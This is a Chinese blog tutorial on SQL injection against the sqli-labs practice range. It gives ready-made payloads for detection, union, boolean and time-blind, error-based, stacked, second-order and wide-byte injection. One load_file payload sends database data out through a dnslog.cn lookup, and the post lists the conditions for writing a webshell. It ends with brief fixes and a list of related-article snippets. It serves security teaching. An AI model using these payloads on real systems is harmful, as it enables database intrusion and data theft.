web渗透之sql注入

article/2025/9/16 21:47:01

博主姓名:摆烂阳
博主主页面链接:传送门
新人入圈,希望博主的内容可以给大家带来帮助,有任何问题可以私信本人
摆烂阳从不摆烂滴

目录

  • 一、前言
  • 二、实验准备
  • 三、sql注入检测方法
    • 1、数字型检测
    • 2、字符型检测
    • 3、搜索型检测和xx型检测
    • 四、常见的注入手法
      • 1、union注入
        • (1).union联合报错注入
        • (2).union联合查询
      • 2、盲注
        • (1).布尔盲注
        • (2).时间盲注
      • 2.报错注入
      • 3.堆叠注入
      • 4.二次注入
      • 3.宽字节注入
      • 4.dnslong盲注
      • 5.请求头注入
      • 6.sql注入写入webshell
      • 7.sql注入修复
  • 五、总结

一、前言

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。
黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。


二、实验准备

本次实验使用sqli-labs-master靶场。

靶场下载链接https://codeload.github.com/Audi-1/sqli-labs/zip/master

三、sql注入检测方法

1、数字型检测

本次实验使用靶场第二关

直接输入and 1=1

 http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 and 1=1

在这里插入图片描述

此时发现页面是正常显示的,我们跟着继续判断and 1=2

 http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 and 1=2

在这里插入图片描述

此时发现页面发生了变化,那么就可以判断这是一个数字型注入。

2、字符型检测

本次实验使用靶场第一关

在网站url栏上输入一个单引号

 http://127.0.0.1/sqli-labs-master/Less-1/?id=1’

在这里插入图片描述
此时发现网站报错,大致意思为你有一个数据库语法错误,当在后面输入一个%23(注释符)之后会发现页面正常回显

当我们在单引号后面输入and 1=1 %23时,发现页面正常回显

http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1' and 1=1 %23

在这里插入图片描述

当我们将and 1=1换成and 1=2时发现页面报错

 http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1' and 1=2 %23

在这里插入图片描述

此时便可以判断这是一个字符型注入

3、搜索型检测和xx型检测

这两种检测方法本质上是字符型检测的分支,只是需要根据不同的报错信息进行构造闭合

四、常见的注入手法

1、union注入

首先要知道的是union注入一般是配合order by语句用于两个或多个sql语句集合

ps: order by是指在sql语句后面进行排序的,通常我们用order by来判断查询的字段有几位

(1).union联合报错注入

select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));

(2).union联合查询

?id=111’ union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’) --+

2、盲注

盲注是指在不知道数据库返回值的情况下对数据中的内容进行猜测,一般分为布尔盲注、时间盲注、报错盲注

(1).布尔盲注

a.判断数据库长度

and (length(database()))=一个数 %23

b.判断当前数据库名

and (ascii(substr(database(),1,1)))=一个数 %23

c.判断当前数据库下表的数量

and (select count(*) from information_schema.tables where table_schema='数据库名')=一个数  %23

d.判断每个表的长度

and(length((select table_name from information_schema.tables where table_schema='库名' limit0,1)))=一个数 %23

ps:
limit 后面数字的意义:
第一位表示判断第几张表(第一张表记作0)
第二位表示一次截取几条数据,默认为1

e.取表名

and(ascii(subste((select table_name from information_schema.tables where table_schema='库名' limit0,1),1,1))=一个数)

f.查询当前数据库下,该表内有多少个字段

and(select count(*)from information_schema columns where table_schema='库名' and table_name='表名')=一个数 %23

g.判断字段的长度

and  (length((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1)))=一个数%23

h.判断第一个字段的第一位的名称

and  (ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=105 %23

i.判断第一条数据的长度

and(length((select 字段名 from 表名 limit 1,1)))=一个数 %23 

j.获取第一条数据

and (ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=一个数 %23

(2).时间盲注

a.判断是否存在时间盲注

and sleep(5) %23

b.查询当前数据库的长度,如果正确那么就延迟

and if((length(database()))>此处填判断的时间,sleep(此处填延迟的时间),1) --+

c.判断当前数据库名第一位是否为a

and if((substr(database(),1,1)='a'),sleep(5),1)  %23

d.判断当前数据库名第一位ascii码

and if((ascii(substr(database(),1,1))=此处填判断的数字),sleep(延迟的时间),1)  %23

e.查询表数量

and if((select count(*) from information_schema.tables where table_schema='库名称)=此处填判断的数字,sleep(此处填延迟的时间),1)%23

f.查询表名长度

and if((select length((select table_name from information_schema.tables where table_schema='库名' limit 3,1))=此处填判断的数字),sleep(此处填延迟的时间),1)%23

g.截取表名第一位

and if((select ascii(substr((select table_name from information_schema.tables where table_schema='数据库名 limit 3,1),1,1)))=此处填判断的数字,sleep(此处填延迟的时间)),1)%23

h.查询列字段数量

and if(((select count(*) from information_schema.columns where table_schema='数据库名' and table_name='users')=此处填判断的数字),sleep(此处填延迟的时间),1)%23

i.查询列名长度

and if((select length((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1))=此处填判断的数字),sleep(此处填延迟的时间),1)%23

j.截取列名第一位

and if((select ascii(substr((select column_name from information_schema.columns where table_schema=‘数据库名’ and table_name=‘表名’ limit 0,1),1,1)))=此处填判断的数字,sleep(此处填延迟的时间),1)%23

k.查询第一条数据的长度

and if((select length((select id from 表名  limit 0,1)))=此处填判断的数字,sleep(此处填延迟的时间),1)%23

l.获取数据信息内容

and if((select ascii(substr((select id from 表名  limit 0,1),1,1)))=此处填判断的数字,sleep(此处填延迟的时间),1)%23

2.报错注入

(1).floor报错

and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

(2).extractvalue报错

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

(3).updatexml报错

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

a.查表语句

and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = database()),'~'),3) %23

b.查字段语句

and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'),'~'),3) %23

c.查数据语句

and updatexml(1,concat('~',(select username from users limit 0,1),'~'),3) %23

(4).geometrycollection报错

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

(5).multipoint报错

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

(6).polygon报错

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

(7).multipolygon报错

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

(8).linestring报错

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

(9).multilinestring报错

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

(10).exp报错

select * from test where id=1 and exp(~(select * from(select user())a));

3.堆叠注入

(1).原理

mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句

例如:

select * from users;show databases;

就同时执行以上两条命令,所以我们可以增删改查,只要权限够
虽然这个注入姿势很牛,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_
query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

4.二次注入

二次注入可以概括为以下两步:

第一步:插入恶意数据

进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

3.宽字节注入

(1).原理

当传递一个参数id=1‘得时候,当我们输入这个单引号,会被认为是非法字符,会被过滤函数添加“\”给过滤掉,所以我们想要程序接受我们传递得参数中包含单引号,那么就需要把这个转义字符“\”干掉,那如何才能干掉呢?当http协议传输得时候,是要经过url编码的,如果这个编码完成后,传递到服务器时,我们可以在单引号前加上一个%81这样得编码,最后这样解码得时候,这个%81就会和“/”对应得编码相结合按照gbk编码要求去解码,最后只剩下个单引号。

(2).宽字节注入条件

(1)数据库查询设置为GBK编码
(2)使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()之类的函数

附:GBK编码表 https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php

4.dnslong盲注

利用条件

利用条件:

mysql.ini中secure_file_priv必须为空
secure_file_priv 为null 不允许导入导出
secure_file_priv 为/tmp 导入导出只能在/tmp目录下
secure_file_priv 为空时 则不做限制允许导入导出

语句

' and  load_file(concat('\\\\',(select version()),'.0j7pyz.dnslog.cn\\abc')) %23

赠:域名http://www.dnslog.cn/

5.请求头注入

需利用:burp

(1)UA头注入
(2)referer注入
(3)cookie注入

6.sql注入写入webshell

条件

(1)当前sql注入用户必须为DBA权限(–is-dba为true)
(2)需要知道网站的绝对路径
(3)My.ini文件中的这项配置secure_file_priv=””为空

7.sql注入修复

Intval()
Addslashes()

五、总结

SQL注入最大的危害在于数据泄露,但SQL注入并不能直接获得Web系统的权限。在对抗SQL注入攻击方面,有效的措施是过滤和转义,针对中小型站点尽可能限制数据类型,限制提交数据的字符类型,对特殊字符及敏感函数进行过滤。针对大型站点推荐利用预编译方法或参数化查询。

`


http://chatgpt.dhexx.cn/article/VrArIEiH.shtml

相关文章

SQL注入——入门篇

SQL 注入的定义 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 —— [ 百度百科 ] 网页链接存在参数传递,后台并没有对用户的输入进行过滤,导致用户的…

什么是SQL注入攻击?SQL注入攻击的危害以及防护

用户打开一个输入框,可以输入任何内容,包括SQL语句。如果网站开发者,没有对用户输入的内容,进行判断和过滤,那么这些语句将被执行。攻击者可以在管理员毫不知情的情况下,对数据库服务器进行操作。 SQL注入攻…

SQL注入分类,一看你就明白了。SQL注入点/SQL注入类型/SQL注入有几种/SQL注入点分类

「作者主页」:士别三日wyx 「作者简介」:CSDN top200、阿里云博客专家、华为云享专家、网络安全领域优质创作者 SQL注入分类 一、数值型注入二、字符型注入1)单引号字符型注入2)双引号字符型注入3)带有括号的注入a. 数…

什么是SQL注入?

有人的地方就有江湖,有数据库存在的地方就可能存在 SQL 注入漏洞。 什么是SQL 注入? SQL 注入是一种非常常见的数据库攻击手段,SQL 注入漏洞也是网络世界中最普遍的漏洞 之一。大家也许都听过某某学长通过攻击学校数据库修改自己成绩的事情…

sql注入攻击的原理(sql注入攻击防范)

SQL 注入(SQLi)是一种可执行恶意 SQL 语句的注入攻击。这些 SQL 语句可控制网站背后的数据库服务。攻击者可利用 SQL 漏洞绕过网站已有的安全措施。他们可绕过网站的身份认证和授权并访问整个 SQL 数据库的数据。他们也可利用 SQL 注入对数据进行增加、修…

SQL注入的一般过程

SQL注入的一般过程 概述SQL注入的步骤一道例题总结 概述 SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以…

细说——SQL注入

目录 SQL是什么?什么是SQL注入漏洞原理漏洞原因为什么会有SQL注入注⼊点可能存在的位置漏洞危害提交方法判断注入点判断字符型还是数字型sql注入绕过获取网站路径SQL 注入读写文件1. 数据库支持文件读写2. 当前用户具有文件权限3. 知道文件绝对路径 查询方式及报错盲…

什么是SQL注入

什么是sql注入? 既然你会来看这篇文章,说明你和写这篇文章时的我一样,是个安全小白。不管你是以何种原因想要了解“什么是sql注入”,我都希望这篇文章尽可能地会给你一点收获。 两个通俗的概念 SQL 注入就是指 web应用程序对用户…

SQL注入(一)—— sql手动注入实操

SQL SQL注入sql 注入的核心 SQL 手注的一般流程判断注入点 —— 第一步判断字段数 —— 第二步判断回显点 —— 第三步查询相关内容 —— 第四步判断库名判断表名判断列名查询具体信息 总结 SQL注入 SQL注入攻击是目前web应用网络攻击中最常见的手段之一,曾被冠以 “…

【SQL注入-01】SQL语句基础及SQL注入漏洞原理及分类

目录 1 SQL注入概述1.1 SQL注入简介1.2 SQL注入原理(掌握)1.3 SQL注入漏洞的危害(掌握) 2 SQL注入漏洞分类2.1 注入位置分类(掌握)2.2 注入数据类型分类(掌握)2.3 注入手法分类&…

SQL注入详解(全网最全,万字长文)

漏洞原因 一些概念: SQL:用于数据库中的标准数据查询语言。 web分为前端和后端,前端负责进行展示,后端负责处理来自前端的请求并提供前端展示的资源。 而数据库就是存储资源的地方。 而服务器获取数据的方法就是使用SQL语句进…

sql注入基础原理(超详细)

一、Sql注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。 二、Web 程序三层架构 三层架构(3-tier architecture) 通常意义上就…

数据库存储过程语法

mysql 5.0存储过程学习总结 一.创建存储过程 1.基本语法: create procedure sp_name() begin ……… end 2.参数传递 二.调用存储过程 1.基本语法:call sp_name() 注意:存储过程名称后面必须加括号,哪怕该存储过程没有参数传递…

存储过程语法--变量

目录 实例演示 定义默认值并使用 定义赋值再使用 定义2变量,通过查询表内数据进行赋值并使用 定义变量declare 变量名 数据类型 [default 默认值];变量赋值方式一set 变量名 变量值;变量赋值方式二select 列名 into 变量名 from 表名 [where 条件]; 实例演示 定义…

mysql 5.0存储过程(包括语法,符号)

一.创建存储过程 1.基本语法: create procedure sp_name() begin ……… end 2.参数传递 二.调用存储过程 1.基本语法:call sp_name() 注意:存储过程名称后面必须加括号,哪怕该存储过程没有参数传递 三.删除存储过程 1.基本语法&a…

Oracle存储过程语法学习

Oracle存储过程: 1.1 第一个存储过程 --创建存储过程 create or replace procedure proc1( p_para1 varchar2, p_para2 out varchar2, p_para3 in out varchar2 )as v_name varchar2(20); begin v_name : 张三; p_para3 : v_name; …

sql存储过程语法详解

一、定义变量 使用关键字declare申明变量: declare 变量名 变量类型 /*简单赋值*/declare a intset a5print a/*select赋值*/declare b nvarchar(10) select b stu_name from dbo.student where stu_id6 print b/*update赋值*/declare c nvarchar(10) upd…

MySQL常用操作之创建存储过程语法详解

MySQL常用操作之创建存储过程语法详解 前言简介语法创建结构变量结构入参变量和出参变量流程控制判断(IF 语句)判断(CASE 语句)循环(LOOP 语句)循环(WHILE 语句)循环(REPEAT 语句)再次循环(ITERATE 语句) 总结参考链接 前言 场景介绍 作为一名Java搬运工,实际开发中…

Oracle 存储过程语法

Oracle 存储过程语法 1. 创建表(测试数据准备) -- 创建用户表 create table TT_USER (USERID NUMBER(10),USERNAME VARCHAR2(255),PASSWORD VARCHAR2(255),SEX VARCHAR2(1) );INSERT INTO TT_USER VALUES (101, zhang, 111, 1); INSERT INTO TT…

mysql存储过程基本语法

本文来说下mysql存储过程基本语法 文章目录 基本语法使用实例变量的使用变量定义declare语句变量赋值用户变量 存储过程的参数in 输入参数out 输出参数inout输入输出参数 本文小结 基本语法 存储过程就是具有名字的一段代码,用来完成一个特定的功能。创建的存储过程…